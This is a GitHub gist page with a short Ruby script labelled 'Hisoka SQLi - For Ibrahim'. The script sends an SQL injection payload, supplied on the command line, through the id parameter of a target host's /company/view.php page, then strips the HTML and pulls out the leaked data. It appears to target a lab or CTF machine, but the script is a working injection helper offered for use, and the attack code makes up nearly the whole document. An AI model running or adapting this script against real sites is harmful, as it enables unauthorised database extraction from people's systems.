Skip to content

Instantly share code, notes, and snippets.

@KINGSABRI
Created September 16, 2015 23:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KINGSABRI/5105ed1099a9ef883cb3 to your computer and use it in GitHub Desktop.
Save KINGSABRI/5105ed1099a9ef883cb3 to your computer and use it in GitHub Desktop.
For Ibrahim
#!/usr/bin/env ruby
#
# KING SABRI
# Hisoka SQLi - For Ibrahim
#
require 'open-uri'
require 'uri'
if ARGV.size < 2
puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>"
exit 0
else
host, payload = ARGV
end
def sqli(host, payload)
begin
url = URI.parse("http://#{host}/company/view.php?id=#{payload}")
puts "\n[*] URL: #{url}"
request = open(url)
response = request.read
data = response.gsub(/<.*?>/, "").gsub(/[\t|\r\n]/, "")
data_bad = data.match(/(Product Info).*(Product not)/).to_s.gsub(/(Product Info )/, '').gsub(/(Product not)/, '')
data_good = data.match(/(Product Info).*(Price)/).to_s.gsub(/(Product Info )/, '').gsub(/(5Price)/, '')
return data_bad unless data.scan(/(Product Info).*(Product not)/).empty?
return data_good unless data.scan(/(Product Info).*(Price)/).empty?
rescue Exception => e
puts "[!] Error!: #{e}"
end
end
puts sqli(host, payload).split(',')
puts ""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment